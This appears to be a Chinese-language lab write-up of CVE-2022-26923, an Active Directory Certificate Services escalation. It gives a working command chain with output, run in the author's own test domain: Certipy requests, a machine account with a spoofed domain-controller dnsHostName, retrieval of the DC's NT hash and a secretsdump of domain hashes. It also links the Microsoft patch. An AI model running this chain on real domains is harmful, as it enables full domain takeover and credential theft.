CVE-2022-26923

title: CVE-2022-26923
author: Mosaic Theory
layout: true
categories: 漏洞实验
tags:
- 漏洞复现

CVE-2022-26923:

参考链接:

https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4
https://posts.specterops.io/certified-pre-owned-d95910965cd2
https://www.bilibili.com/video/BV1hL4y1F79y?spm_id_from=333.1007.top_right_bar_window_history.content.click
常用术语和首字母缩略词:
  • PKI (Public Key Infrastructure) — 管理证书/公钥加密的系统

  • AD CS(Active Directory 证书服务)——微软的 PKI 实施

  • CA (Certificate Authority) — 颁发证书的 PKI 服务器

  • 企业 CA — 与 AD 集成的 CA(相对于独立 CA),提供证书模板

  • 证书模板— 定义企业 CA 颁发的证书内容的设置和策略的集合

  • CSR (Certificate Signing Request) — 发送给 CA 以请求签名证书的消息

  • EKU (Extended/Enhanced Key Usage) — 定义如何使用证书的一个或多个对象标识符 (OID)

AD CS 是一个服务器角色,用作 Microsoft 的公钥基础结构 PKI 实施。它与 Active Directory 紧密集成并支持颁发证书,这些证书是 X.509 格式的数字签名电子文档,可用于加密、消息签名和/或身份验证。证书中包含的信息将身份(主体)绑定到公钥/私钥对。然后,应用程序可以在操作中使用密钥对作为用户身份的证明。证书颁发机构 (CA) 负责颁发证书。在较高级别上,客户端生成一个公钥-私钥对,公钥与证书主题和证书模板名称等其他详细信息一起放置在证书签名请求 (CSR) 消息中。然后,客户端将 CSR 发送到企业 CA 服务器。CA 服务器然后检查是否允许客户端请求证书。如果是,它会通过查找 CSR 中指定的证书模板 AD 对象来确定是否会颁发证书。CA 将检查证书模板 AD 对象的权限是否允许身份验证帐户获取证书。如果是这样,CA 使用证书模板定义的例如 EKU、加密设置、颁发要求等生成证书,并在证书模板设置允许的情况下使用 CSR 中提供的其他信息。CA 使用其私钥签署证书,然后将其返回给客户端。

这张图是国外的,我把它拷贝到了这里 :

复现环境:

首先我搭建了一个域环境为redteam.local,安装了AD CS服务:

Microsoft Windows [版本 10.0.17763.1339]
(c) 2018 Microsoft Corporation。保留所有权利。

C:\Users\Administrator>IPCONFIG

Windows IP 配置


以太网适配器 Ethernet0:

  连接特定的 DNS 后缀 . . . . . . . :
  IPv6 地址 . . . . . . . . . . . . : 2409:8a0c:5250:ee1e::2
  本地链接 IPv6 地址. . . . . . . . : fe80::6808:62d5:8566:4a95%8
  IPv4 地址 . . . . . . . . . . . . : 192.168.1.117
  子网掩码  . . . . . . . . . . . . : 255.255.255.0
  默认网关. . . . . . . . . . . . . : 192.168.1.1

C:\Users\Administrator>

我创建了一个低权限的用户:

PS C:\Users\Administrator> net user test whoamiWHOAMI! /add /domain
命令成功完成。

复现步骤:

首先需要确定域内存在CERTIFICATE服务:

$ bloodhound-python -d redteam.local -u test -p 'whoamiWHOAMI!' -ns 192.168.1.117 -c All --zip
INFO: Found AD domain: redteam.local
INFO: Connecting to LDAP server: attacker.redteam.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: attacker.redteam.local
INFO: Found 6 users
INFO: Found 52 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: attacker.redteam.local
INFO: Done in 00M 01S
INFO: Compressing output into 20220519192128_bloodhound.zip

如果能查询到CERTIFICATE SERVICE账号,也间接说明在该域环境内式存在CERTIFICATE服务,也可以在bloodhound嗅探到的group.json文件搜关键字CERT。

我将向 CA 请求User模板的证书:

$ certipy req 'readtem.local/test:whoamiWHOAMI!@attacker.redteam.local' -ca redteam-ATTACKER-CA -template User       
Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate
[*] Successfully requested certificate
[*] Request ID is 2
[*] Got certificate with UPN 'test@redteam.local'
[*] Certificate object SID is None
[*] Saved certificate and private key to 'test.pfx'

在申请的时候可以捕获到一批流量信息,走的SMB协议,这可能会是漏洞利用的条件之一,就是域控开启445端口。然后可以执行以下命令:

$ certipy auth -pfx test.pfx                                                                                  
Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Using principal: test@redteam.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'test.ccache'
[*] Trying to retrieve NT hash for 'test'
[*] Got NT hash for 'test@redteam.local': 8709250c9b99185334adb99deb77436d

从流量信息中能够看到已经走完了kerberos的前四个阶段,客户端申请了一张TGT票据,又申请了一张TGS票据,这张TGS是申请的什么服务的,我不知道。

默认情况下,域用户可以注册User证书模板,域计算机可以注册Machine证书模板。两个证书模板都允许客户端身份验证。用户帐户具有用户主体名称 (UPN),而计算机帐户则没有。当根据User模板请求证书时,用户帐户的 UPN 将嵌入到证书中以进行识别。使用证书进行身份验证时,KDC 会尝试将 UPN 从证书映射到用户。UPN 必须是唯一的。

但是计算机账户是没有UPN的,而它们是将DNSNAME名称嵌入到证书中从而使KDC从证书映射。该漏洞的原理像是DNSHOSTNAME滥用,但又不完全是。具体的参数原理在文章顶部的参考链接文章的作者已经给出了解释。

我添加了一个机器账户TEST:

$ ./addcomputer.py 'redteam.local/test:whoamiWHOAMI!' -method LDAPS -computer-name 'TESTPC' -computer-pass 'PASSw0rd!' 
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Successfully added machine account TESTPC$ with password PASSw0rd!.

我所理解上述文章作者的意思:

我会试着去更改我添加的机器账户的DNSHOSTNAME,当我试图改我添加的机器账户的DNSHOSTNAME值时,会报错说SPN重复,我可以看一眼我机器账户的SPN:

这是域控账户的SPN:

当每次更新DNSHOSTNAME时候,都会去检测SPN是否会重复,国外文章作者觉得更新DNSHOSTNAME值时校验的是SPN,他做出了一个意想不到的举动是他把机器账户的SPN值给删掉了,然后再更新DNSHOSTNAME值就不会被告警了:

现在的话如果我为我创建的机器账户TESTPC请求证书的话,就会被当成是在为域控账户ATTACKER请求证书,从而获取到域控的权限。

后续Certipy发布了一些更新,其中包括使用 DNS 主机名轻松创建新机器帐户dc.corp.local然后请求证书的功能。为了区分,我以test名义新建了一个机器账户TESTPC1:

$ certipy account create 'redteam.local/test:whoamiWHOAMI!@attacker.redteam.local' -user 'testpc1' -dns 'attacker.redteam.local'
Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Creating new account:
  sAMAccountName                     : testpc1$
  unicodePwd                         : 8KMXcghjsYeYPiSq
  userAccountControl                 : 4096
  servicePrincipalName               : HOST/testpc1
                                        RestrictedKrbHost/testpc1
  dnsHostName                         : attacker.redteam.local
[*] Successfully created account 'testpc1$' with password '8KMXcghjsYeYPiSq'

这一步它流量走的是636 LDAP加密端口,这或许也是漏洞利用成功的条件之一,然后就可以为机器账户请求证书:

$ certipy req 'redteam.local/testpc1$:8KMXcghjsYeYPiSq@attacker.redteam.local' -ca REDTEAM-ATTACKER-CA -template Machine
Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate
[*] Successfully requested certificate
[*] Request ID is 5
[*] Got certificate with DNS Host Name 'attacker.redteam.local'
[*] Certificate object SID is None
[*] Saved certificate and private key to 'attacker.pfx'

申请证书流量走的还是445,在我不小心输错的时候它报了RPC拒绝访问的提示,或许该漏洞还会跟RPC有关:

$ certipy req 'redteam.local/testpcd:fy32uh9H6QRyMGss@attacker.redteam.local' -ca REDTEAM-ATTACKER-CA -template Machine
Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate
[-] Got error: rpc_s_access_denied
[-] Use -debug to print a stacktrace

我可以像刚刚一样用证书获取到域控的NTLM哈希:

$ certipy auth -pfx attacker.pfx 
Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Using principal: attacker$@redteam.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'attacker.ccache'
[*] Trying to retrieve NT hash for 'attacker$'
[*] Got NT hash for 'attacker$@redteam.local': 1f07bf4b925234589278cc44908aaf7b

这样我就获得了域控账户的权限,我可以转储哈希:

$ ./secretsdump.py 'redteam.local/attacker$@attacker.redteam.local' -hashes 1f07bf4b925234589278cc44908aaf7b:1f07bf4b925234589278cc44908aaf7b
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a76d803b859df586338ae1153d43af1e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:2326d857fa7c4ec943c3c45f10c8225b:::
Mosaic:1000:aad3b435b51404eeaad3b435b51404ee:3a1cfb5a682d38889e3564d7ee708e26:::
test:1105:aad3b435b51404eeaad3b435b51404ee:8709250c9b99185334adb99deb77436d:::
ATTACKER$:1001:aad3b435b51404eeaad3b435b51404ee:1f07bf4b925234589278cc44908aaf7b:::
TESTPC$:1106:aad3b435b51404eeaad3b435b51404ee:2528085be8e113abda1b7cee36b498ec:::
testpc1$:1107:aad3b435b51404eeaad3b435b51404ee:318ce91df40aa91e501a57f1db142c00:::
................................................................
[skip]
[*] Cleaning up...
漏洞总结:

微软官方发布了一个安全补丁:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923

该漏洞利用前提条件是在域内需要有AD CS服务,而且需要445,636端口协议访问权限,似乎还需要RPC的支持。


请使用浏览器的分享功能分享到微信等